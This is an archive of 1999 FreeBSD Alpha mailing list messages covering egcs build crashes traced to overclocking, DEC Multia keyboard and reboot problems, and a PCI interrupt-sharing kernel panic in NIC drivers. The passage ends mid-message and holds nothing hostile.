(JST) Received: from ett.sat.t.u-tokyo.ac.jp by ett.sat.t.u-tokyo.ac.jp (8.9.2/sat-V0.6) id SAA50505; Fri, 9 Apr 1999 18:01:14 +0900 (JST) Date: Fri, 09 Apr 1999 18:01:12 +0900 Message-ID: <14093.49624.806904.69287I@ett.sat.t.u-tokyo.ac.jp> From: Hidetoshi Shimokawa To: gallatin@cs.duke.edu Cc: freebsd-alpha@FreeBSD.ORG, obrien@NUXI.com, dfr@nlsystems.com Subject: Re: EGCS and Alpha builds In-Reply-To: In your message of "Thu, 8 Apr 1999 16:37:21 -0400 (EDT)" <14093.2882.917218.258262@grasshopper.cs.duke.edu> References: <14089.56075.776196.90506E@ett.sat.t.u-tokyo.ac.jp> <19990404131610.B77056@nuxi.com> <14092.1572.540347.14698D@ett.sat.t.u-tokyo.ac.jp> <14092.15993.327163.67240P@ett.sat.t.u-tokyo.ac.jp> <14093.2882.917218.258262@grasshopper.cs.duke.edu> User-Agent: Wanderlust/0.9.7 (Everything She Wants) SEMI/1.13.2 (Mikawa) FLIM/1.12.5 (Hirahata) MULE XEmacs/21.2 (beta9) (Athena) (i386-unknown-freebsd3.1) X-Face: OE([KxWyJI0r[R~S/>7ia}SJ)i%a,$-9%7{*yihQk|]gl}2p#"oXmX/fT}Bn7:#j7i14gu$ jgR\S*&C3R/pJX wrote: > > > Hidetoshi Shimokawa writes: > > At Thu, 08 Apr 1999 10:28:04 +0900, > > Hidetoshi Shimokawa wrote: > > > > > > Hi, > > > > > > I have finally finished make world on alpha with egcs. > > > Here is a fix. > > > > I have nasty problem with "make", which sometimes gets signal 11. > > There may be some problem with libc.so. A workaround is to add > > 'NOSHARED=YES' to /usr/src/usr.bin/make/Makefile. > > > > I don't know why... > > For what its worth, I've just survived 2 'make buildworld && make > installworld; reboot' ... cycles without make crashing. I've also > build a kernel from a clean compile directory (and checked in a quick > fix for fp_emulate.c to get it building again under egcs). This is on > a 500Mhz 21264 (I'm working on support for the xp1000). Good to hear it. > Is there anything in particular you need to do to cause make to crash? It turns out due to over clocking... After change the clock from 666MHz to normal 600MHz, I can finish the make world without crash. (I changed SCSI card, removed video card and installed other PCI card at the same time but they must not be the reason of the problem.) Sorry to bother you folks. Anyway, I think egcs on alpha fair enough now. I'm going to make world/kernel with '-Os -mcpu=ev56'. -- /\ Hidetoshi Shimokawa \/ simokawa@sat.t.u-tokyo.ac.jp PGP public key: finger -l simokawa@sat.t.u-tokyo.ac.jp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 9 5:20:37 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from archeron.good.com (mgooderum1.dsl.uswest.net [209.180.19.145]) by hub.freebsd.org (Postfix) with ESMTP id 422BE14FEB for ; Fri, 9 Apr 1999 05:20:35 -0700 (PDT) (envelope-from mark@jumpweb.com) Received: by archeron.good.com with Internet Mail Service (5.5.2448.0) id <2SW368AR>; Fri, 9 Apr 1999 07:17:07 -0500 Message-ID: <50C732FEDE87D211954300A024786203A69A@archeron.good.com> From: "Gooderum, Mark" To: freebsd-alpha@FreeBSD.ORG Subject: FreeBSD on Alpha Multia ( Date: Fri, 9 Apr 1999 07:16:50 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I've got a DEC Multia up reasonably well minus a few problems. I'm generally running a the late March SNAPSHOT with a 3.1 Release userland. Issue 1 - 4.x Kernel (any snapshot from February through 3/26 and CURRENT) doesn't read the keyboard. 3.1-RELEASE/GENERIC kernel does. The console isn't locked because output to /dev/console works. Obviously the getty is on /dev/console and not /dev/ttyvN on the Multia. Any pointers for Keyboard parameters to play with? I've tried doing a diff of 3.1-RELEASE versus 4.x but the keyboard code has changed a lot. Note that NumLock/CapsLock toggle on and off, just no input. Other wierdnesses are that the load program sees KB input, upper and lower case, but ? comes through as / and some other similar wierdness. Issue 2 - Random crashes. With 3.1-RELEASE the system will randomly just restart without any messages from the kernel or a core dump. It's pretty consistently related to lots of disk activity especially with more than one process. With the latest 4.x SNAPSHOT things are much more stable and it's only done that once. Issue 3 - Are kernel coredumps supposed to work on the Alpha port yet? I've never had one occur on a crash. -- Mark Gooderum mark@jumpweb.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 9 15:26:57 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from feral.com (feral.com [192.67.166.1]) by hub.freebsd.org (Postfix) with ESMTP id 4E99315B6E for ; Fri, 9 Apr 1999 15:25:19 -0700 (PDT) (envelope-from mjacob@feral.com) Received: from localhost (mjacob@localhost) by feral.com (8.8.7/8.8.7) with ESMTP id KAA13164; Fri, 9 Apr 1999 10:01:29 -0700 Date: Fri, 9 Apr 1999 10:01:29 -0700 (PWT) From: Matthew Jacob X-Sender: mjacob@feral-gw Reply-To: mjacob@feral.com To: "Gooderum, Mark" Cc: freebsd-alpha@FreeBSD.ORG Subject: Re: FreeBSD on Alpha Multia ( In-Reply-To: <50C732FEDE87D211954300A024786203A69A@archeron.good.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org There is no TGA driver so at the point in time that a switch to real as oppsed to PROM drivers happens, console input/output goes away. Use a serial line for a console. On Fri, 9 Apr 1999, Gooderum, Mark wrote: > I've got a DEC Multia up reasonably well minus a few problems. I'm > generally running a the late March SNAPSHOT with a 3.1 Release userland. > > Issue 1 - 4.x Kernel (any snapshot from February through 3/26 and CURRENT) > doesn't read the keyboard. 3.1-RELEASE/GENERIC kernel does. The console > isn't locked because output to /dev/console works. Obviously the getty is > on /dev/console and not /dev/ttyvN on the Multia. Any pointers for Keyboard > parameters to play with? I've tried doing a diff of 3.1-RELEASE versus 4.x > but the keyboard code has changed a lot. Note that NumLock/CapsLock toggle > on and off, just no input. Other wierdnesses are that the load program sees > KB input, upper and lower case, but ? comes through as / and some other > similar wierdness. > > Issue 2 - Random crashes. With 3.1-RELEASE the system will randomly just > restart without any messages from the kernel or a core dump. It's pretty > consistently related to lots of disk activity especially with more than one > process. With the latest 4.x SNAPSHOT things are much more stable and it's > only done that once. > > Issue 3 - Are kernel coredumps supposed to work on the Alpha port yet? I've > never had one occur on a crash. > -- > Mark Gooderum > mark@jumpweb.com > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-alpha" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Fri Apr 9 18:27:35 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from archeron.good.com (mgooderum1.dsl.uswest.net [209.180.19.145]) by hub.freebsd.org (Postfix) with ESMTP id D67881518D for ; Fri, 9 Apr 1999 18:27:25 -0700 (PDT) (envelope-from mark@jumpweb.com) Received: by archeron.good.com with Internet Mail Service (5.5.2448.0) id <2SW368CC>; Fri, 9 Apr 1999 14:35:40 -0500 Message-ID: <50C732FEDE87D211954300A024786203A69F@archeron.good.com> From: "Gooderum, Mark" To: "'freebsd-alpha@freebsd.org'" Subject: FreeBSD Alpha and NICs Date: Fri, 9 Apr 1999 14:34:27 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I've been working on a few things now that I've gotten things up...mostly NIC related. Earlier I made an attempt to get the rl0 (RealTek) driver working and ran into some problems. More recently I grabbed the updated Ethernet drivers and tried with a Netgear 310FX and the pn0 driver. The changes I made to if_rl.c were similar to what was done to if_pn.c (substitute some of the x86 constants with Alpha ones, adjust a couple of virtual to physical expressions). What's odd is that both drivers (with the appropriate card) crash exactly the name way. In xx_attach() the code makes it through the function and prints the initial line for the card (w/irq, etc). Both pn_attach() and rl_attach() successfully get through mapping the I/O (and/or memory, I've built both drivers both ways) can get to the call to pci_map_int(). pci_map_int() calls pci_map_int_right() which calls intr_connect(). intr_connect() gets as far calling intr_create(). intr_create() crashes because BUS_ALLOC_RESOURCE returns NULL and intr_create() calls BUS_SETUP_INTR where the deferference of the NULL pointer for "res" causes the crash, the offending code from pcibus.c looks like: res = BUS_ALLOC_RESOURCE(pcib, NULL, SYS_RES_IRQ, &zero, irq, irq, 1, RF_SHAREABLE | RF_ACTIVE); /** NOTE: res is NULL at this point if duplicate irq probed so BOOM **/ if (BUS_SETUP_INTR(pcib, pcib, res, (driver_intr_t *)handler,fg arg, &cookie)) return 0; From the printf() debugging the call sequence appears (with the pn0 driver, the rl0 driver looks the same other than some code motion). This is the actual dmesg output with my debugging statements: pn0: <82c168/82c169 PNIC 10/100BaseTX> rev 0x21 int a irq 15 on pci0.12.0 pn0: pn_attach(0xfffffe0000231c90, 0) pn0: Doing power mgmt... pn0: Mapping control/status regs... pn0: Mapping IO/Memory... pn0: Calling pci_map_int(ci=0xfffffe0000231c90, pi=0xfffffc0000467da8, sc=0xfffffe0000236000, ni=0xfffffc00005915ec/0) pci_map_int: Calling pci_map_int_right(cfg=0xfffffe0000231c90, ha=0xfffffc0000467da8, a=0xfffffe0000236000, maskptr=0xfffffc00005915ec/0, fl=0) pci_map_int_right: Calling intr_create(di=0xffffffffffffffff, irq=15, hand=0xfffffc0000467da8, arg=0xfffffe0000236000, mp=0xfffffc00005915ec/0, fl=0) intr_create(di=0xffffffffffffffff, irq=15, ihand=0xfffffc0000467da8, arg=0xfffffe0000236000, imaskp=0xfffffc00005915ec/0, fl=0) intr_create: BUS_ALLOC_RESOURCE=0 fatal kernel trap: trap entry = 0x2 (memory management fault) a0 = 0x50 a1 = 0x1 a2 = 0x0 pc = 0xfffffc0000388d1c ra = 0xfffffc00004cd1d4 curproc = 0 ddbprinttrap(0x50, 0x1, 0x0, 0x2) panic: trap panic For comparison the sucessfull sequence for de0 looks like: de0: rev 0x23 int a irq 15 on pci0.8.0 pci_map_int: Calling pci_map_int_right(cfg=0xfffffe0000231f90, ha=0xfffffc000045f548, a=0xfffffe0000233800, maskptr=0xfffffc00005915ec/0, fl=0) pci_map_int_right: Calling intr_create(di=0xffffffffffffffff, irq=15, hand=0xfffffc000045f548, arg=0xfffffe0000233800, mp=0xfffffc00005915ec/0, fl=0) intr_create(di=0xffffffffffffffff, irq=15, ihand=0xfffffc000045f548, arg=0xfffffe0000233800, imaskp=0xfffffc00005915ec/0, fl=0) intr_create: BUS_ALLOC_RESOURCE=0xfffffe0000231f00 intr_create: returning 0xfffffe0000229940 pci_map_int_right: Calling intr_connect(id=0xfffffe0000229940) de0: DEC 21040 [10Mb/s] pass 2.3 de0: address 08:00:2b:e2:c7:eb It's worth noting that both the RealTek and the Netgear card probe at IRQ 15 (same as de0). I've tried to get the de to probe 2nd to see if there is some kind of order dependency to the crash, but order in the config file doesn't seem to make a difference. I'm assuming the PCI probs end up happening in card number order (making de0 on the motherboard always come first). So...any ideas on how to: * Share IRQ's * Get the Multia to change the autoconf of the card to a seperate IRQ * Force the software (kernel) to remap the card to an alternate IRQ For now, -- Mark To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 10 10:34:21 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 21E0D15023 for ; Sat, 10 Apr 1999 10:31:33 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id SAA36800; Sat, 10 Apr 1999 18:31:42 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sat, 10 Apr 1999 18:31:42 +0100 (BST) From: Doug Rabson To: "Gooderum, Mark" Cc: freebsd-alpha@freebsd.org Subject: Re: FreeBSD on Alpha Multia ( In-Reply-To: <50C732FEDE87D211954300A024786203A69A@archeron.good.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 9 Apr 1999, Gooderum, Mark wrote: > I've got a DEC Multia up reasonably well minus a few problems. I'm > generally running a the late March SNAPSHOT with a 3.1 Release userland. > > Issue 1 - 4.x Kernel (any snapshot from February through 3/26 and CURRENT) > doesn't read the keyboard. 3.1-RELEASE/GENERIC kernel does. The console > isn't locked because output to /dev/console works. Obviously the getty is > on /dev/console and not /dev/ttyvN on the Multia. Any pointers for Keyboard > parameters to play with? I've tried doing a diff of 3.1-RELEASE versus 4.x > but the keyboard code has changed a lot. Note that NumLock/CapsLock toggle > on and off, just no input. Other wierdnesses are that the load program sees > KB input, upper and lower case, but ? comes through as / and some other > similar wierdness. Possibly you need to change your kernel config file. The 4.0 kernels use the new syscons and keyboard drivers and they have slightly different config requirements. Check the contents of GENERIC for details. > > Issue 2 - Random crashes. With 3.1-RELEASE the system will randomly just > restart without any messages from the kernel or a core dump. It's pretty > consistently related to lots of disk activity especially with more than one > process. With the latest 4.x SNAPSHOT things are much more stable and it's > only done that once. I'm not too sure what to suggest. Has anyone else noticed this on 3.1? > > Issue 3 - Are kernel coredumps supposed to work on the Alpha port yet? I've > never had one occur on a crash. Crashdumps are now supported in 4.0 (fairly recently). To interpret them, you will need some gdb patches from Andrew Gallatin. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sat Apr 10 10:34:31 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 6FF2415023 for ; Sat, 10 Apr 1999 10:34:20 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id SAA36814; Sat, 10 Apr 1999 18:35:18 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sat, 10 Apr 1999 18:35:18 +0100 (BST) From: Doug Rabson To: "Gooderum, Mark" Cc: "'freebsd-alpha@freebsd.org'" Subject: Re: FreeBSD Alpha and NICs In-Reply-To: <50C732FEDE87D211954300A024786203A69F@archeron.good.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 9 Apr 1999, Gooderum, Mark wrote: > I've been working on a few things now that I've gotten things up...mostly > NIC related. > > Earlier I made an attempt to get the rl0 (RealTek) driver working and ran > into some problems. More recently I grabbed the updated Ethernet drivers and > tried with a Netgear 310FX and the pn0 driver. The changes I made to if_rl.c > were similar to what was done to if_pn.c (substitute some of the x86 > constants with Alpha ones, adjust a couple of virtual to physical > expressions). > > What's odd is that both drivers (with the appropriate card) crash exactly > the name way. > > In xx_attach() the code makes it through the function and prints the initial > line for the card (w/irq, etc). Both pn_attach() and rl_attach() > successfully get through mapping the I/O (and/or memory, I've built both > drivers both ways) can get to the call to pci_map_int(). pci_map_int() > calls pci_map_int_right() which calls intr_connect(). intr_connect() gets > as far calling intr_create(). intr_create() crashes because > BUS_ALLOC_RESOURCE returns NULL and intr_create() calls BUS_SETUP_INTR where > the deferference of the NULL pointer for "res" causes the crash, the > offending code from pcibus.c looks like: > > res = BUS_ALLOC_RESOURCE(pcib, NULL, SYS_RES_IRQ, &zero, > irq, irq, 1, RF_SHAREABLE | RF_ACTIVE); > /** NOTE: res is NULL at this point if duplicate irq probed so BOOM **/ > if (BUS_SETUP_INTR(pcib, pcib, res, (driver_intr_t *)handler,fg > arg, &cookie)) > return 0; I fixed a bug in subr_rman.c where more than two clients attempted to share a resource. Can you check that you have version 1.5 of subr_rman.c -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 11 15:30:44 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from aries.fortean.com (aries.fortean.com [209.42.229.210]) by hub.freebsd.org (Postfix) with ESMTP id 8AF3B1522D for ; Sun, 11 Apr 1999 15:30:35 -0700 (PDT) (envelope-from walter@fortean.com) Received: from localhost (walter@localhost) by aries.fortean.com (8.8.8/8.8.8) with SMTP id QAA01825; Sun, 11 Apr 1999 16:39:31 -0400 (EDT) (envelope-from walter@fortean.com) X-Authentication-Warning: aries.fortean.com: walter owned process doing -bs Date: Sun, 11 Apr 1999 16:39:31 -0400 (EDT) From: "Bruce M. Walter" To: "Gooderum, Mark" Cc: freebsd-alpha@freebsd.org Subject: RE: FreeBSD on Alpha Multia ( In-Reply-To: <50C732FEDE87D211954300A024786203A6A8@archeron.good.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > I've been wondering if it's dodgy hardware due to Thermal Loading. That was my first thought. After wading through tons of Multia links, I ordered an 18 CFM cooling fan from McMaster Carr to replace the existing 6 CFM fan. This made no difference on the reboot front :( It could also mean my efforts were too late and my RAM was permanently impaired by heat damage. > At one point I got a series of ncr0 firmware errors similar to those > mentioned earlier, shut the system down and let it cool for a while and > those problems went away. Do you have an internal drive? The first thing I did was move my SCSI drive to an external case. > Subjectively the box seems to stay cooler in a horizontal mode than vertical > in the little plastic stand supplied. I think part of the problem is > vertical as the stand put's it, the P/S fan is blowing _against_ natural > convection accross the Alpha CPU's heat sink. I've heard the exact opposite... My fans were both pulling air upwards when the case was vertical. With heat's natural tendency to rise I would think vertical is a better orientation ;) (Note the power button is towards the top when mounted vertically) - Bruce ______________________ Bruce M. Walter, Principal NIXdesign Group Inc. 426 S. Dawson Street Raleigh NC 27601 USA 919.829.4901 Tel (ext 11) 919.829.4993 Fax http://www.nixdesign.com Visual communications | concept + code To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 11 15:30:48 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from aries.fortean.com (aries.fortean.com [209.42.229.210]) by hub.freebsd.org (Postfix) with ESMTP id E890D15284 for ; Sun, 11 Apr 1999 15:30:35 -0700 (PDT) (envelope-from walter@fortean.com) Received: from localhost (walter@localhost) by aries.fortean.com (8.8.8/8.8.8) with SMTP id OAA01266; Sun, 11 Apr 1999 14:40:08 -0400 (EDT) (envelope-from walter@fortean.com) X-Authentication-Warning: aries.fortean.com: walter owned process doing -bs Date: Sun, 11 Apr 1999 14:40:08 -0400 (EDT) From: "Bruce M. Walter" To: Doug Rabson Cc: "Gooderum, Mark" , freebsd-alpha@freebsd.org Subject: Re: FreeBSD on Alpha Multia ( In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > Issue 2 - Random crashes. With 3.1-RELEASE the system will randomly just > > restart without any messages from the kernel or a core dump. It's pretty > > consistently related to lots of disk activity especially with more than one > > process. With the latest 4.x SNAPSHOT things are much more stable and it's > > only done that once. > > I'm not too sure what to suggest. Has anyone else noticed this on 3.1? Yes. On my multia. I shot some messages through this list approximately a month ago. I wound up building my tree on my Miata and sending it over the net to the Multia. The best guess before was dodgy hardware, most likely the memory. I've been toying with buying new RAM, but true parity is a bit pricey right now. (And will continue to be so as things move toward SDRAM) 4.0 decreased the frequency of these reboots, but did not eliminate them as I had first thought. Due to time constraints I've not been able to play with the system recently. If any more info becomes available I'd love to hear it. - Bruce ______________________ Bruce M. Walter, Principal NIXdesign Group Inc. 426 S. Dawson Street Raleigh NC 27601 USA 919.829.4901 Tel (ext 11) 919.829.4993 Fax http://www.nixdesign.com Visual communications | concept + code To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 11 15:44:31 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from uni4nn.gn.iaf.nl (osmium.gn.iaf.nl [193.67.144.12]) by hub.freebsd.org (Postfix) with ESMTP id 3818915F5E for ; Sun, 11 Apr 1999 15:37:38 -0700 (PDT) (envelope-from wilko@yedi.iaf.nl) Received: (from uucp@localhost) by uni4nn.gn.iaf.nl (8.9.2/8.9.2) with UUCP id WAA29152 for freebsd-alpha@freebsd.org; Sun, 11 Apr 1999 22:56:31 +0200 (MET DST) Received: (from wilko@localhost) by yedi.iaf.nl (8.8.8/8.6.12) id WAA06005 for freebsd-alpha@freebsd.org; Sun, 11 Apr 1999 22:59:18 +0200 (CEST) From: Wilko Bulte Message-Id: <199904112059.WAA06005@yedi.iaf.nl> Subject: many cheap PC164 boards -- gret for NetBSD (fwd) To: freebsd-alpha@freebsd.org (FreeBSD-alpha mailing list) Date: Sun, 11 Apr 1999 22:59:18 +0200 (CEST) X-Organisation: Private FreeBSD site - Arnhem, The Netherlands X-pgp-info: PGP public key at 'finger wilko@freefall.freebsd.org' X-Mailer: ELM [version 2.4ME+ PL43 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I assume that Thor has no problems with me forwarding this to the FreeBSD/alpha list as well. Bulk prices tend to drop with volume.. ;-) Wilko ----- Forwarded message from Thor Lancelot Simon ----- I've found a source of very cheap AlphaPC164 motherboards, with 500MHz CPU. They have no memory, and no case or power supply (they take ECC FPM DRAM, *not* SDRAM, and have 8 SIMM slots of which either 4 or 8 must be filled with the same size parts) -- they should fit in standard ATX cases, but require a special power supply ($70-$90, details available) which has a normal "hard" power switch instead of the ATX "soft" switch. There is absolutely *no* warranty or guarantee, and the boards are as-is -- though (if you trust me) I can tell you that they come from what I'd call a very reliable source. They'll cost around $150-$200/ea, plus shipping. I'm very unlikely to make any money from this; I'm mentioning it here because NetBSD/alpha runs great on these boards and, aside from the new 21264-based systems, they're actually some of the fastest systems NetBSD runs on, period. I'd like to see more people running NetBSD/alpha and I see this as a good opportunity to help the interested do so for cheap. I'm going to do a bulk purchase of these boards in the near future -- let me know in the next few days if you're intersted. Thor -- Thor Lancelot Simon tls@rek.tjls.com "And where do all these highways go, now that we are free?" ----- End of forwarded message from Thor Lancelot Simon ----- Groeten / Cheers, Wilko _ ______________________________________________________________________ | / o / / _ Arnhem, The Netherlands |/|/ / / /( (_) Bulte WWW : http://www.tcja.nl _______________________ Powered by FreeBSD ___ http://www.freebsd.org _____ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 11 16:18:10 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from herring.nlsystems.com (nlsys.demon.co.uk [158.152.125.33]) by hub.freebsd.org (Postfix) with ESMTP id 2C9B21547C for ; Sun, 11 Apr 1999 15:59:32 -0700 (PDT) (envelope-from dfr@nlsystems.com) Received: from localhost (dfr@localhost) by herring.nlsystems.com (8.9.3/8.8.8) with ESMTP id TAA38767; Sun, 11 Apr 1999 19:26:49 +0100 (BST) (envelope-from dfr@nlsystems.com) Date: Sun, 11 Apr 1999 19:26:49 +0100 (BST) From: Doug Rabson To: Hidetoshi Shimokawa Cc: gallatin@cs.duke.edu, freebsd-alpha@FreeBSD.ORG, obrien@NUXI.com Subject: Re: EGCS and Alpha builds In-Reply-To: <14093.49624.806904.69287I@ett.sat.t.u-tokyo.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Fri, 9 Apr 1999, Hidetoshi Shimokawa wrote: > At Thu, 8 Apr 1999 16:37:21 -0400 (EDT), > Andrew Gallatin wrote: > > > > > > Hidetoshi Shimokawa writes: > > > At Thu, 08 Apr 1999 10:28:04 +0900, > > > Hidetoshi Shimokawa wrote: > > > > > > > > Hi, > > > > > > > > I have finally finished make world on alpha with egcs. > > > > Here is a fix. > > > > > > I have nasty problem with "make", which sometimes gets signal 11. > > > There may be some problem with libc.so. A workaround is to add > > > 'NOSHARED=YES' to /usr/src/usr.bin/make/Makefile. > > > > > > I don't know why... > > > > For what its worth, I've just survived 2 'make buildworld && make > > installworld; reboot' ... cycles without make crashing. I've also > > build a kernel from a clean compile directory (and checked in a quick > > fix for fp_emulate.c to get it building again under egcs). This is on > > a 500Mhz 21264 (I'm working on support for the xp1000). > > Good to hear it. > > > Is there anything in particular you need to do to cause make to crash? > > It turns out due to over clocking... > After change the clock from 666MHz to normal 600MHz, I can finish the > make world without crash. > (I changed SCSI card, removed video card and installed other PCI card > at the same time but they must not be the reason of the problem.) > > Sorry to bother you folks. > > Anyway, I think egcs on alpha fair enough now. I have done a few -j8 buildworlds now without problem too. > > I'm going to make world/kernel with '-Os -mcpu=ev56'. That might be interesting.. -- Doug Rabson Mail: dfr@nlsystems.com Nonlinear Systems Ltd. Phone: +44 181 442 9037 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 11 17:17:10 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (Postfix) with ESMTP id 9901D151CE for ; Sun, 11 Apr 1999 17:17:05 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.9.1/8.9.0) with ESMTP id JAA07392 for ; Mon, 12 Apr 1999 09:44:47 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.9.3/8.9.0) id JAA77998 for FreeBSD-alpha@freebsd.org; Mon, 12 Apr 1999 09:44:46 +0930 (CST) Message-ID: <19990412094446.X2142@lemis.com> Date: Mon, 12 Apr 1999 09:44:46 +0930 From: Greg Lehey To: FreeBSD-alpha@freebsd.org Subject: Re: many cheap PC164 boards -- gret for NetBSD Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.93.2i WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In case you didn't see this. Greg ----- Forwarded message from Thor Lancelot Simon ----- > Date: Sun, 11 Apr 1999 16:46:01 -0400 > To: port-alpha@netbsd.org > Cc: netbsd-advocacy@netbsd.org, netbsd-users@netbsd.org > Reply-To: tls@rek.tjls.com > X-Mailer: Mutt 0.95.4i > Precedence: list > Delivered-To: netbsd-users@netbsd.org > I've found a source of very cheap AlphaPC164 motherboards, with 500MHz CPU. > > They have no memory, and no case or power supply (they take ECC FPM DRAM, > *not* SDRAM, and have 8 SIMM slots of which either 4 or 8 must be filled > with the same size parts) -- they should fit in standard ATX cases, but > require a special power supply ($70-$90, details available) which has a > normal "hard" power switch instead of the ATX "soft" switch. > > There is absolutely *no* warranty or guarantee, and the boards are as-is -- > though (if you trust me) I can tell you that they come from what I'd call a > very reliable source. They'll cost around $150-$200/ea, plus shipping. > > I'm very unlikely to make any money from this; I'm mentioning it here because > NetBSD/alpha runs great on these boards and, aside from the new 21264-based > systems, they're actually some of the fastest systems NetBSD runs on, period. > I'd like to see more people running NetBSD/alpha and I see this as a good > opportunity to help the interested do so for cheap. > > I'm going to do a bulk purchase of these boards in the near future -- let > me know in the next few days if you're intersted. > > Thor > > -- > Thor Lancelot Simon tls@rek.tjls.com > "And where do all these highways go, now that we are free?" ----- End forwarded message ----- -- See complete headers for address, home page and phone numbers finger grog@lemis.com for PGP public key To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-alpha" in the body of the message From owner-freebsd-alpha Sun Apr 11 19:22:45 1999 Delivered-To: freebsd-alpha@freebsd.org Received: from archeron.good.com (mgooderum1.dsl.uswest.net [209.180.19.145]) by hub.freebsd.org (Postfix) with ESMTP id 08E8014BF4 for ; Sun, 11 Apr 1999 19:22:43 -0700 (PDT) (envelope-from mark@jumpweb.com) Received: by archeron.good.com with Internet Mail Service (5.5.2448.0) id <2W75G1YT>; Sun, 11 Apr 1999 15:30:11 -0500 Message-ID: <50C732FEDE87D211954300A024786203A6A8@archeron.good.com> From: "Gooderum, Mark" To: "'Bruce M. Walter'" , Doug Rabson Cc: "Gooderum, Mark" , freebsd-alpha@FreeBSD.ORG Subject: RE: FreeBSD on Alpha Multia ( Date: Sun, 11 Apr 1999 15:29:24 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-alpha@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > > Issue 2 - Random crashes... > Yes. On my multia. I shot some messages through this list approximately > a month ago. I wound up building my tree on my Miata and sending it over > the net to the Multia. > > The best guess before was dodgy hardware, most likely the memory.... My memory should be pretty good. I've got 64M of DEC branded true parity RAM salvaged from an old 590XL (more recently known as 